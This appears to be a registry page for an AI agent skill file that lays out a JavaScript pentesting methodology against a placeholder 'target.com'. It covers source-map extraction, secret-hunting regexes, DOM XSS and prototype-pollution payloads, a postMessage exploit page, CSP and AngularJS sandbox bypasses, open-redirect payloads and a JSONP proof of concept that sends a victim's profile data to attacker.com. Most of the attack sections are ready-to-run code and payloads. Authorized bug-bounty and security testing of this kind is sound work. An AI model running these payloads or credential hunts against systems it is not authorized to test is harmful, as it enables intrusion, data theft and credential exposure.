js-analyzer
Skill37 starsChanged 5 months agoMITView on GitHub
Full JavaScript analysis methodology for pentesting and bug bounty JS file discovery, secret extraction, endpoint mapping, DOM XSS, prototype pollution, postMessage abuse, client-side logic flaws, source map extraction, and hardcoded credential hunting. Trigger when the user wants to analyze JavaScript files from a target, asks to find endpoints/API routes/hidden parameters in JS bundles, wants to hunt for secrets or credentials in JS source, asks to test DOM XSS/prototype pollution/postMessage vulnerabilities, wants to deobfuscate or extract source maps, asks about client-side logic flaws or insecure storage, or mentions webpack/React/Angular/Vue/Next.js.
- Reads credentials
- Installs packages
- Sends data out
In this repository38 other files it gives its agents.
- ad-breachSkill
- ai-llm-hunterSkill
- attack-surfaceSkill
- bugbounty-reporterSkill
- cavemanSkill
- check-exploitSkill
- clickjacking-hunterSkill
- compliance-gap-analyzerSkill
- control-lookupSkill
- ctf-writeupSkill
- cvss-scorerSkill
- deadangleSkill
- droid-reconSkill
- economist-attackSkill
- engagement-handoffSkill
- finding-writerSkill
- find-skillsSkill
- graphql-raiderSkill
- hexstrike-forgeSkill
- high-severity-hunterSkill
- hpp-hunterSkill
- idor-hunterSkill
- jwt-crackerSkill
- less-aggressive-attackSkill
- less-noise-attackSkill
- nuclei-template-writerSkill
- pentest-reportSkill
- redirect-forgeSkill
- redmindSkill
- remediation-plannerSkill
- risk-assessorSkill
- scope-grillSkill
- skill-benchmarkSkill
- ssrf-hunterSkill
- ssti-hunterSkill
- vuln-diagnoseSkill
- xss-hunterSkill
- xxe-phantomSkill
The file
We split this skill into the rules it gives an agent
1 rule. About 0 are common, 1 is distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈1
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 772
Use Burp Suite's WebSocket history tab — intercept and replay messages to test:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
JS Analyzer — JavaScript Security Analysis
JS files are often the most information-rich attack surface in a web application. A thorough JS review routinely yields: hidden API endpoints, hardcoded secrets, client-side authorization logic to bypass, insecure postMessage handlers, and vulnerable third-party libraries.
Work through every phase in order. Stop and document each finding as you go.
Phase 1 — JS File Discovery
1.1 Automated crawling
# katana — best for SPAs and JS-heavy apps
katana -u https://target.com -jc -d 5 -o js-urls.txt
grep "\.js" js-urls.txt | sort -u
# gau — historical URLs (Wayback + Common Crawl + OTX)
gau target.com | grep "\.js$" | sort -u | tee gau-js.txt
# waybackurls — Wayback Machine only
waybackurls target.com | grep "\.js$" | sort -u
# hakrawler — fast recursive crawl
echo "https://target.com" | hakrawler -js -d 4
# gospider
gospider -s "https://target.com" -c 10 -d 5 --js -o gospider-out/1.2 Manual discovery
# Fetch the root page and extract all script src attributes
curl -s https://target.com | grep -oP '(?<=src=")[^"]+\.js[^"]*'
# Check standard bundler output paths
for path in /app.js /main.js /bundle.js /vendor.js /chunk.js \
/static/js/main.js /assets/js/app.js /dist/app.js \
/js/app.js /build/static/js/main.chunk.js; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
[ "$code" = "200" ] && echo "[+] Found: $path"
done
# Webpack chunk discovery (chunks are numbered)
for i in $(seq 0 20); do
url="https://target.com/static/js/$i.chunk.js"
code=$(curl -s -o /dev/null -w "%{http_code}" "$url")
[ "$code" = "200" ] && echo "[+] Found: $url"
done1.3 JS discovery from HTML and other JS files (recursive)
# Download root page, extract JS, download each JS, extract more JS URLs from them
python3 - << 'EOF'
import re, requests, urllib.parse, sys
TARGET = "https://target.com"
visited = set()
queue = [TARGET]
js_files = set()
def extract_js(text, base):
for src in re.findall(r'(?:src|import)[=\s(]["\']([^"\']+\.js[^"\']*)["\']', text):
yield urllib.parse.urljoin(base, src)
while queue:
url = queue.pop(0)
if url in visited: continue
visited.add(url)
try:
r = requests.get(url, timeout=10, headers={"User-Agent": "Mozilla/5.0"})
for js in extract_js(r.text, url):
if js not in js_files:
js_files.add(js)
queue.append(js)
except: pass
for js in sorted(js_files):
print(js)
EOF1.4 Framework-specific paths
| Framework | Default JS paths |
| Create React App | /static/js/main.*.chunk.js, /static/js/*.chunk.js |
| Next.js | /_next/static/chunks/*.js, /_next/static/js/*.js |
| Angular | /main.*.js, /polyfills.*.js, /runtime.*.js |
| Vue CLI | /js/app.*.js, /js/chunk-vendors.*.js |
| Nuxt.js | /_nuxt/*.js |
| Vite | /assets/*.js |
Phase 2 — Source Map Extraction
Source maps reveal the original unminified source code of the application.
2.1 Detect source maps
# Check the last line of a JS file for the source map URL comment
curl -s "https://target.com/main.js" | tail -5 | grep sourceMappingURL
# Or fetch directly
curl -s "https://target.com/main.js.map" | python3 -m json.tool | head -20
curl -s "https://target.com/app.js.map" | python3 -m json.tool | head -202.2 Extract source from map
# sourcemapper — extracts all original source files from .map
go install github.com/denandz/sourcemapper@latest
sourcemapper -url https://target.com/main.js.map -output ./sourcemap-out/
# unwebpack (Python)
pip install unwebpack-sourcemap
unwebpack_sourcemap https://target.com/main.js.map ./sourcemap-out/
# Manual extraction
python3 - << 'EOF'
import json, os, sys
with open("main.js.map") as f:
sm = json.load(f)
for i, path in enumerate(sm.get("sources", [])):
src = sm.get("sourcesContent", [])[i] if i < len(sm.get("sourcesContent", [])) else None
if src:
out = os.path.join("sourcemap-out", path.lstrip("./"))
os.makedirs(os.path.dirname(out), exist_ok=True)
with open(out, "w") as f2:
f2.write(src)
print(f"[+] {out}")
EOF2.3 After extraction — what to look for
Once you have the original source, proceed through all subsequent phases on the unminified code. Pay special attention to:
// TODO,// FIXME,// HACK,// DEBUGcomments- Dev/test endpoints that aren't in production docs
- Feature flag checks (
if (env === 'dev'),if (debug)) - Admin route conditions (
if (user.role === 'admin'))
Phase 3 — Secret & Credential Hunting
3.1 Automated tools
# trufflehog — high-accuracy entropy + pattern detection
trufflehog filesystem ./sourcemap-out/ --only-verified
trufflehog git file://./repo/ --only-verified
# gitleaks — SAST for secrets
gitleaks detect --source ./sourcemap-out/ -v
# secretfinder — regex-based, JS-specific
python3 SecretFinder.py -i https://target.com/main.js -o cli
# jsluice — purpose-built JS secrets/URL extractor (Go)
jsluice secrets https://target.com/main.js
jsluice urls https://target.com/main.js
# nuclei secrets template
nuclei -u https://target.com -t exposures/tokens/ -severity medium,high,critical3.2 Manual regex patterns
# Run against all downloaded JS files
JS_DIR="./js-files"
grep_js() {
grep -rEn "$1" "$JS_DIR" 2>/dev/null | head -30
}
# AWS
grep_js 'AKIA[0-9A-Z]{16}'
grep_js 'aws_secret|AWS_SECRET|AWSSecretKey'
# Generic API keys
grep_js '[aA][pP][iI]_?[kK][eE][yY]\s*[=:]\s*["\x27][A-Za-z0-9_\-]{16,}'
grep_js '[tT]oken\s*[=:]\s*["\x27][A-Za-z0-9_\-\.]{20,}'
# Stripe / Twilio / SendGrid / Slack
grep_js 'sk_live_[0-9a-zA-Z]{24}' # Stripe secret
grep_js 'pk_live_[0-9a-zA-Z]{24}' # Stripe public
grep_js 'AC[a-z0-9]{32}' # Twilio SID
grep_js 'SG\.[A-Za-z0-9_\-]{22}\.[A-Za-z0-9_\-]{43}' # SendGrid
grep_js 'xox[baprs]-[0-9A-Za-z\-]+' # Slack token
# Firebase / GCP / Azure
grep_js 'AIza[0-9A-Za-z\-_]{35}' # Google API key
grep_js '"type"\s*:\s*"service_account"' # GCP service account
grep_js 'firebase[Uu][Rr][Ll]\s*[=:]'
# GitHub / GitLab
grep_js 'ghp_[A-Za-z0-9]{36}' # GitHub PAT
grep_js 'glpat-[A-Za-z0-9\-_]{20}' # GitLab PAT
# JWT / private keys
grep_js 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' # JWT
grep_js 'BEGIN (RSA |EC |OPENSSH )?PRIVATE KEY'
# Database connection strings
grep_js 'mongodb(\+srv)?://[^"'\'']*:[^"'\'']*@'
grep_js 'postgres(ql)?://[^"'\'']*:[^"'\'']*@'
grep_js 'mysql://[^"'\'']*:[^"'\'']*@'
# Passwords / secrets
grep_js 'password\s*[=:]\s*["\x27][^"'\'']{6,}'
grep_js 'secret\s*[=:]\s*["\x27][^"'\'']{8,}'
grep_js 'client_secret\s*[=:]\s*["\x27]'3.3 Entropy scan (custom)
import math, re, sys
def entropy(s):
if not s: return 0
prob = [float(s.count(c)) / len(s) for c in set(s)]
return -sum(p * math.log(p, 2) for p in prob)
# Flag strings with high entropy (> 4.5 bits/char) and length > 20
pattern = re.compile(r'["\']([A-Za-z0-9+/=_\-\.]{20,})["\']')
for path in sys.argv[1:]:
with open(path) as f:
for lineno, line in enumerate(f, 1):
for m in pattern.finditer(line):
s = m.group(1)
e = entropy(s)
if e > 4.5:
print(f"{path}:{lineno} [entropy={e:.2f}] {s[:80]}")Phase 4 — Endpoint & API Route Mapping
4.1 Extract URLs and paths
# jsluice — best dedicated tool
jsluice urls -R https://target.com/main.js | jq .
# LinkFinder — comprehensive regex extraction
python3 linkfinder.py -i https://target.com/main.js -o cli
# getJS — collect all JS then extract links
getJS --url https://target.com --complete --output js-files.txt
# Manual grep
grep -rEo '"(/[a-zA-Z0-9_/?=&\-\.%]+)"' ./js-files/ | grep -v '\.png\|\.svg\|\.css' | sort -u
grep -rEo "fetch\(['\"][^'\"]+['\"]" ./js-files/ | sort -u
grep -rEo "axios\.(get|post|put|delete|patch)\(['\"][^'\"]+['\"]" ./js-files/ | sort -u
grep -rEo '(api|endpoint|baseURL|BASE_URL)\s*[=:]\s*["\x27][^"'\'']+' ./js-files/ | sort -u4.2 Parameter extraction
# Find query parameters referenced in JS
grep -rEo '[?&][a-zA-Z_][a-zA-Z0-9_]*=' ./js-files/ | sort -u
# Find JSON body keys sent to APIs
grep -rEo '"[a-zA-Z_][a-zA-Z0-9_]+":\s*(true|false|null|[0-9]+|"[^"]*")' ./js-files/ | \
grep -i 'id\|user\|admin\|token\|key\|secret\|pass\|role\|scope' | sort -u
# Hidden parameters — look for feature flags and undocumented params
grep -rEi 'debug|internal|beta|test|admin|staging|dev_mode|feature_flag' ./js-files/ | \
grep -v '^\s*//' | sort -u4.3 GraphQL introspection detection
# Look for GraphQL operation names and fragments
grep -rE 'query\s+\w+|mutation\s+\w+|subscription\s+\w+|gql`|GraphQL' ./js-files/ | head -30
# Find the GraphQL endpoint
grep -rE '(graphql|gql)["\x27]?\s*[,\)]' ./js-files/ | grep -Eo '"[^"]*"' | sort -u
# Test introspection (once endpoint found)
curl -s -X POST "https://target.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name fields{name}}}}"}'Phase 5 — DOM-Based XSS Analysis
5.1 Identify dangerous sinks
# All high-risk sinks
SINKS="innerHTML|outerHTML|insertAdjacentHTML|document\.write|document\.writeln|\
eval\(|setTimeout\(|setInterval\(|Function\(|new Function|execScript|\
location\.href|location\.assign|location\.replace|location=|window\.location|\
src=|href=|action=|formaction="
grep -rEn "$SINKS" ./js-files/ | grep -v '^\s*//' | sort -u | head -505.2 Identify controllable sources
SOURCES="location\.search|location\.hash|location\.href|location\.pathname|\
document\.referrer|document\.URL|document\.documentURI|document\.baseURI|\
window\.name|history\.state|postMessage|localStorage\.getItem|sessionStorage\.getItem|\
document\.cookie|URLSearchParams|decodeURI|decodeURIComponent"
grep -rEn "$SOURCES" ./js-files/ | grep -v '^\s*//' | sort -u | head -505.3 Trace source-to-sink flows
For each source found, trace how the value flows to a sink:
Source → [optional transformation] → Sink
document.location.search → decodeURIComponent() → innerHTML ← VULNERABLE
document.location.hash → someVar → eval() ← VULNERABLE
location.href → encodeURIComponent() → innerHTML ← likely safe (encoded)5.4 DOM XSS confirmation payloads
<!-- innerHTML / outerHTML -->
<img src=x onerror=alert(document.domain)>
<svg onload=alert(1)>
<script>alert(1)</script> <!-- works only without sanitization -->
<!-- eval / Function / setTimeout / setInterval -->
alert(document.domain)
alert`1`
(alert)(1)
<!-- location sinks (open redirect → XSS in some cases) -->
javascript:alert(document.domain)
data:text/html,<script>alert(document.domain)</script>
<!-- src / href injection -->
javascript:alert(1)
<!-- insertAdjacentHTML -->
<img src=x onerror=alert(1)>5.5 URL hash / fragment XSS testing
# If the app reads location.hash and writes it to the DOM:
https://target.com/page#<img src=x onerror=alert(document.domain)>
https://target.com/page#javascript:alert(1)
# Double URL-encoded
https://target.com/page#%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E5.6 Automated DOM XSS scanning
# dalfox — powerful DOM XSS scanner
dalfox url "https://target.com/page?param=FUZZ" --skip-bav
# domxssscanner (online)
# https://domxssscanner.com
# Burp DOM Invader — browser extension for tracing sources/sinksPhase 6 — Prototype Pollution
6.1 Detect vulnerable patterns
# Server-side PP (Node.js) — dangerous merge/extend/clone functions
grep -rEn "merge\(|extend\(|clone\(|deepCopy\(|assign\(|defaultsDeep\(" ./js-files/ | \
grep -v '^\s*//' | head -30
# Look for recursive assignment patterns
grep -rEn "\[key\]\s*=|obj\[prop\]|target\[k\]\s*=" ./js-files/ | head -20
# Look for prototype access
grep -rEn "__proto__|constructor\.prototype|Object\.prototype" ./js-files/ | head -206.2 Client-side PP test payloads
# URL query string (if parsed with a vulnerable parser)
?__proto__[polluted]=1
?constructor[prototype][polluted]=1
?__proto__.polluted=1
# JSON body (if merged into an object)
{"__proto__": {"polluted": "1"}}
{"constructor": {"prototype": {"polluted": "1"}}}
# Nested key notation (qs, query-string libraries)
?a[__proto__][polluted]=1
?a[constructor][prototype][polluted]=16.3 Detect pollution
// In browser console — after sending the payload:
console.log(({}).polluted); // → "1" if polluted
console.log(Object.prototype.polluted); // → "1" if polluted6.4 Escalate: PP → XSS
Common gadget chains:
// jQuery < 3.4.0 — $.extend deep merge
$.extend(true, {}, JSON.parse(userInput));
// → pollute innerHTML, src, or events → XSS
// sanitize-html / DOMPurify bypass via PP (CVE-2022-25887 style)
{"__proto__": {"allowedTags": ["script"]}}
// Common PP → XSS gadgets
Object.prototype.innerHTML = "<img src=x onerror=alert(1)>"
Object.prototype.src = "https://evil.com/evil.js"
Object.prototype.template = "<img src=x onerror=alert(1)>"6.5 Automated PP detection
# ppmap — browser-based PP gadget scanner
node ppmap/ppmap.js "https://target.com"
# ppfuzz
ppfuzz -u "https://target.com/?param=FUZZ"
# nuclei template
nuclei -u https://target.com -t vulnerabilities/generic/prototype-pollution.yamlPhase 7 — postMessage Vulnerabilities
7.1 Find postMessage handlers
# Look for message event listeners
grep -rEn "addEventListener\(['\"]message['\"]|on[Mm]essage\s*=" ./js-files/ | head -20
# Look for postMessage calls (sending side — reveals what's expected)
grep -rEn "\.postMessage\(" ./js-files/ | head -20
# Look for origin validation (or lack of)
grep -rEn "event\.origin|message\.origin|e\.origin" ./js-files/ | head -207.2 Vulnerable handler patterns
// VULNERABLE — no origin check
window.addEventListener("message", function(e) {
eval(e.data);
});
// VULNERABLE — weak origin check
window.addEventListener("message", function(e) {
if (e.origin.includes("target.com")) { // bypassable with "evil-target.com"
document.getElementById("div").innerHTML = e.data;
}
});
// VULNERABLE — checking wrong property
window.addEventListener("message", function(e) {
if (e.data.from === "trusted") { // data is attacker-controlled!
doSomething(e.data.payload);
}
});
// SAFE — strict origin check
window.addEventListener("message", function(e) {
if (e.origin !== "https://trusted.com") return;
// process e.data
});7.3 Exploitation
<!-- Host this on your server / use Burp Collaborator iframe -->
<html>
<body>
<iframe id="target" src="https://target.com/vulnerable-page"></iframe>
<script>
var iframe = document.getElementById("target");
iframe.onload = function() {
// Send payload after the page loads
iframe.contentWindow.postMessage(
'<img src=x onerror=alert(document.domain)>', // innerHTML sink
'*' // any origin — or set to target origin
);
// Alternative: send an object
iframe.contentWindow.postMessage(
{action: "navigate", url: "javascript:alert(1)"},
'*'
);
};
</script>
</body>
</html>7.4 Origin bypass techniques
# If the check is: e.origin.includes("target.com")
Use origin: https://evil-target.com
# If the check is: e.origin.startsWith("https://target.com")
Use origin: https://target.com.evil.com (if subdomains allowed)
# If there's no check at all
Use any origin — wildcard * worksPhase 8 — Client-Side Logic & Authorization Flaws
8.1 Role / admin checks in JS
# Find client-side role/permission checks
grep -rEin "isAdmin|is_admin|role\s*===|role\s*==|userRole|hasPermission|\
canAccess|isAuthenticated|isPremium|isModerator|isStaff|user\.admin" \
./js-files/ | grep -v '^\s*//' | head -308.2 Feature flags and hidden UI
# Feature flags / toggle conditions
grep -rEin "featureFlag|feature_flag|launchDarkly|unleash|growthbook|\
enableFeature|if.*debug|if.*beta|if.*staging|if.*internal" \
./js-files/ | head -30
# Hidden routes in SPA routers (React Router, Vue Router, Angular routes)
grep -rEn "path:\s*['\"]|<Route\s|router\.add\|RouterModule\.forRoot" \
./js-files/ | grep -i "admin|dashboard|internal|dev|debug|test|config|manage" | head -208.3 Extract React Router / Vue Router / Angular routes
# React Router route definitions
grep -rEo '"path":\s*"[^"]+"' ./js-files/ | sort -u
grep -rEo "path:\s*['\"][^'\"]+['\"]" ./js-files/ | sort -u
# Angular route config
grep -rEo "path:\s*['\"][^'\"]*['\"],\s*component" ./js-files/ | sort -u
# Next.js pages/app directory routes (from chunks)
grep -rEo '"/[a-zA-Z0-9/_\-\[\]]*"' ./js-files/ | sort -u | grep -v '\.'8.4 Client-side token/auth handling
# Where are tokens stored?
grep -rEin "localStorage\.setItem\|sessionStorage\.setItem\|document\.cookie\s*=" \
./js-files/ | grep -i "token\|auth\|jwt\|session\|key" | head -20
# JWT/token decode operations
grep -rEin "atob\(|btoa\(|base64|jwtDecode\|parseJwt\|decodeToken" ./js-files/ | head -20
# Auth header construction
grep -rEin "Authorization.*Bearer\|Bearer.*token\|X-Auth-Token\|X-API-Key" \
./js-files/ | head -20Phase 9 — Insecure Storage Analysis
9.1 LocalStorage / SessionStorage
grep -rEin "localStorage\.(get|set|remove|clear)|sessionStorage\.(get|set|remove|clear)" \
./js-files/ | head -30Risk: Any data in localStorage is accessible to any JS on the same origin — so XSS leads to immediate theft.
What to look for:
- Tokens (JWT, session IDs, API keys) stored in localStorage (vs. HttpOnly cookies)
- PII (email, name, address, credit cards) stored in localStorage
- Cryptographic keys or secrets
9.2 Cookies set via JavaScript
grep -rEin "document\.cookie\s*=" ./js-files/ | head -20Flags to check: Are cookies being set without Secure, HttpOnly, or SameSite?
9.3 IndexedDB / Cache API
grep -rEin "indexedDB|idbFactory|openDatabase|cacheStorage|caches\.(open|put|match)" \
./js-files/ | head -209.4 Extract values from live browser storage (devtools console)
// All localStorage items
Object.entries(localStorage)
// All sessionStorage items
Object.entries(sessionStorage)
// All cookies
document.cookie
// IndexedDB databases
indexedDB.databases().then(console.log)Phase 10 — Third-Party Library Vulnerability Scanning
10.1 Detect libraries and versions
# retire.js — database of known vulnerable JS libraries
retire --path ./js-files/ --outputformat json | jq .
retire --js --url https://target.com --outputformat text
# npm audit (if package.json is available)
npm audit --json | jq '.vulnerabilities | to_entries[] | {name: .key, severity: .value.severity, via: .value.via}'
# Wappalyzer CLI
wappalyzer https://target.com
# jsluice
jsluice urls https://target.com/main.js | jq '.libraries'10.2 Common vulnerable libraries to check
| Library | Versions | Vulnerability | CVE |
| jQuery | < 3.5.0 | XSS via $.html() | CVE-2020-11022 |
| jQuery | < 3.4.0 | Prototype pollution | CVE-2019-11358 |
| lodash | < 4.17.21 | Prototype pollution | CVE-2021-23337 |
| lodash | < 4.17.19 | Prototype pollution | CVE-2020-8203 |
| Handlebars | < 4.7.7 | Prototype pollution → RCE | CVE-2021-23369 |
| underscore | < 1.13.0 | Prototype pollution | CVE-2021-23358 |
| DOMPurify | < 2.3.4 | mXSS bypass | CVE-2022-25887 |
| angular | < 1.6.0 | Sandbox escape | Multiple |
| minimist | < 1.2.6 | Prototype pollution | CVE-2021-44906 |
| vm2 | < 3.9.11 | Sandbox escape → RCE | CVE-2022-36067 |
| next.js | < 13.4.20 | Cache poisoning | CVE-2023-46298 |
| axios | < 0.21.1 | SSRF | CVE-2020-28168 |
10.3 Version fingerprinting
# From JS file comments and metadata
grep -rE "(version|v)[:\s]+[0-9]+\.[0-9]+\.[0-9]+" ./js-files/ | head -30
# From npm/yarn lock files if accessible
curl -s https://target.com/package-lock.json | jq '.dependencies | to_entries[] | {name: .key, version: .value.version}'
curl -s https://target.com/yarn.lock | grep -A1 "^\"" | grep "version" | head -30Phase 11 — JSONP & Legacy Callback Injection
11.1 Find JSONP endpoints
# Look for callback parameter patterns in JS
grep -rEin "callback=|jsonp=|cb=|\?.*callback\|&callback" ./js-files/ | head -20
# Test JSONP endpoints
curl "https://target.com/api/data?callback=JSONP_TEST"
# Look for: JSONP_TEST({...}) in response
# Check if the callback parameter is reflected unsanitized
curl "https://target.com/api/data?callback=alert(document.domain)//"11.2 JSONP XSS exploitation
<!-- If callback parameter is not validated, host this PoC -->
<script src="https://target.com/api/data?callback=alert(document.domain)//"></script>
<!-- Steal data with a controlled callback -->
<script>
function steal(data) {
new Image().src = "https://attacker.com/log?d=" + encodeURIComponent(JSON.stringify(data));
}
</script>
<script src="https://target.com/api/user/profile?callback=steal"></script>Phase 12 — WebSocket Analysis
12.1 Find WebSocket connections
# WebSocket connection setup in JS
grep -rEin "new WebSocket|ws://|wss://|socket\.connect|io\.connect\|socket\.io" \
./js-files/ | head -20
# Messages sent (what's the protocol?)
grep -rEin "socket\.send\|\.emit\(|ws\.send" ./js-files/ | head -2012.2 WebSocket origin bypass
<!-- Test if the WebSocket server validates the Origin header -->
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
ws.send('{"action":"getProfile","userId":1}');
};
ws.onmessage = function(e) {
console.log(e.data);
};
</script>12.3 Intercept WebSocket traffic
Use Burp Suite's WebSocket history tab — intercept and replay messages to test:
- Message tampering (change IDs, roles, amounts)
- Missing authentication on individual message types
- Injection in message parameters (SQLi, XSS, command injection)
Phase 13 — CSP Analysis & Bypass
13.1 Extract and parse CSP
# Fetch headers
curl -s -I "https://target.com" | grep -i "content-security-policy"
# Analyze with csp-evaluator
curl -s -I "https://target.com" | grep -i content-security-policy | \
python3 -c "import sys; print(sys.stdin.read())"
# Online tool: https://csp-evaluator.withgoogle.com13.2 Common CSP bypass techniques
| Bypass | Condition | Payload |
unsafe-eval | script-src includes unsafe-eval | eval(atob("YWxlcnQoMSk=")) |
unsafe-inline | script-src includes unsafe-inline | <script>alert(1)</script> |
| JSONP endpoint | script-src whitelists a domain with JSONP | <script src="https://whitelisted.com/api?cb=alert(1)"> |
Angular ng-src | script-src 'self' + AngularJS allowed | {{constructor.constructor('alert(1)')()}} |
| CDN bypass | CDN in whitelist with user-upload | Upload JS to CDN, load from there |
| Dangling markup | No img-src restriction | <img src='https://attacker.com/?data= |
base-uri missing | No base-uri restriction | <base href="https://attacker.com"> |
object-src missing | No object-src | <object data="javascript:alert(1)"> |
13.3 Check for trusted CDN bypasses
# Domains in script-src that have JSONP or user-controlled content
WHITELIST_DOMAINS=$(curl -sI https://target.com | grep -i content-security-policy | \
grep -oE 'https?://[^ ;]+' | sort -u)
for domain in $WHITELIST_DOMAINS; do
echo "[*] Testing $domain for JSONP..."
curl -s "$domain/api?callback=alert(1)" | grep "alert(1)" && echo "[!] JSONP bypass found at $domain"
donePhase 14 — Deobfuscation & Code Analysis
14.1 Deobfuscate JS
# js-beautify — format minified JS
js-beautify -o pretty.js minified.js
npm install -g js-beautify && js-beautify main.js
# prettier
npx prettier --write main.js
# deobfuscate-js — handles obfuscator.io output
npm install -g deobfuscate-js
deobfuscate-js obfuscated.js
# synchrony — handles common obfuscation patterns
npx synchrony deobfuscate obfuscated.js14.2 Handle common obfuscation patterns
// Pattern 1: string array with shift/rotate
// Look for: _0x1234 = [...], _0x5678 = function(a,b){...}
// Use: https://deobfuscate.io or synchrony
// Pattern 2: hex/unicode escape sequences
// "\\x61\\x6c\\x65\\x72\\x74" → decode in Node.js:
node -e "console.log('\x61\x6c\x65\x72\x74')"
// Pattern 3: eval(atob("..."))
// Decode base64 first:
echo "YWxlcnQoMSk=" | base64 -d
// Pattern 4: Function constructor
// Function("return this")() — extract the string argument14.3 Identify eval sinks in obfuscated code
grep -rEn "eval\(|Function\(|setTimeout\(['\"]|setInterval\(['\"]" ./js-files/ | head -20Phase 15 — Open Redirect via JS
15.1 Find JS-driven redirects
# Redirect patterns driven by URL parameters or user input
grep -rEin "location\.href\s*=|location\.assign\|location\.replace\|window\.open\(" \
./js-files/ | head -30
# Check if redirects consume URL parameters
grep -rEin "URLSearchParams\|location\.search\|location\.hash" ./js-files/ | \
grep -i "redirect\|return\|next\|url\|goto\|callback\|target\|dest\|redir" | head -2015.2 Test payloads
# Basic
https://target.com?redirect=https://evil.com
https://target.com?next=//evil.com
https://target.com?url=javascript:alert(1)
# Bypass techniques
https://target.com?redirect=//evil.com # protocol-relative
https://target.com?redirect=///evil.com # triple slash
https://target.com?redirect=/\evil.com # backslash
https://target.com?redirect=https:evil.com # missing //
https://target.com?redirect=%09//evil.com # tab bypass
https://target.com?redirect=https://target.com@evil.com # @ bypassPhase 16 — Webpack / Bundler Specific Techniques
16.1 Webpack bundle analysis
# Install webpack bundle analyzer
npm install -g webpack-bundle-analyzer
# Check for webpack DevServer exposure (critical: exposes full source)
curl -s "https://target.com/webpack-dev-server" | head -20
curl -s "https://target.com/__webpack_hmr" | head -20
# Look for webpack runtime globals
grep -rEn "__webpack_require__\|webpackJsonp\|__webpack_modules__" ./js-files/ | head -10
# Extract module list from bundle
node -e "
const fs = require('fs');
const bundle = fs.readFileSync('main.js', 'utf8');
const modules = bundle.match(/\/\*\*\*\/ '([^']+)'/g) || [];
modules.forEach(m => console.log(m));
"16.2 Extract environment variables from Next.js
# NEXT_PUBLIC_ variables are bundled into the client
grep -rE "NEXT_PUBLIC_|process\.env\." ./sourcemap-out/ | head -30
# Check the _next/static/chunks/ for env variable leaks
curl -s "https://target.com/_next/static/chunks/pages/_app.js" | \
grep -oE '"[A-Z_]{5,}":"[^"]+"' | head -2016.3 Check for accidentally bundled server-side code
# Server-side secrets sometimes leak into webpack bundles
grep -rEin "process\.env\.DATABASE_URL|process\.env\.SECRET|process\.env\.PRIVATE" \
./js-files/ | head -20Phase 17 — AngularJS / Angular Specific
17.1 AngularJS (1.x) sandbox escapes
// Detect: look for ng-* attributes and angular.js in sources
// AngularJS 1.0 - 1.5 sandbox escape
{{constructor.constructor('alert(1)')()}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
// Expression injection in templates
{{7*7}} // confirm injection
{{$on.constructor('alert(1)')()}}
// After 1.6 (no sandbox):
{{$eval('alert(1)')}}17.2 Angular (2+) template injection
Angular 2+ compiles templates at build time, so runtime SSTI is rare, but look for:
# Dynamic component creation
grep -rEn "DomSanitizer|bypassSecurityTrust|innerHTML|[Oo]uterHTML" ./js-files/ | head -20
# bypassSecurityTrustHtml / bypassSecurityTrustScript — high-risk patternsPhase 18 — Report Structure
Title: [Vulnerability Type] in [Component/File] — [Target]
Severity: Critical / High / Medium / Low / Informational
CWE: [number]
OWASP: [category]
Affected asset: [URL or JS file path]
Parameter/sink: [where the issue manifests]
Summary:
[2-3 sentences explaining what was found and why it matters]
Steps to reproduce:
1. [Download/navigate to the JS file]
2. [Show the specific line/pattern]
3. [Send the exploit request or show browser PoC]
4. [Show the result — data exfiltrated, redirect triggered, etc.]
Evidence:
- Code snippet (file:line)
- HTTP request/response or browser console output
- Screenshot of impact
Impact:
[Concrete attacker capability — what they can do, not what the code does]
Remediation:
[Specific fix — code change, library upgrade, header to add]
References:
[CVE, CWE link, OWASP, vendor advisory]Quick-Reference: Priority Triage Order
- Source maps exposed → full source code leak → check everything in unminified code first
- Hardcoded secrets → immediate credential leak → highest priority per bug bounty programs
- Dangerous sinks reading URL/hash → DOM XSS → high severity
- postMessage handlers without origin check → XSS/data theft
- Client-side role/admin checks → authorization bypass → always test backend separately
- Vulnerable third-party libraries → check CVE severity, exploitability in context
- JSONP endpoints → XSS / data theft if callback not validated
- Webpack DevServer / source map exposure → information disclosure
Reference Files
references/tools.md— full tool installation and usage guidereferences/patterns.md— complete regex cheatsheet for secret and endpoint hunting
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

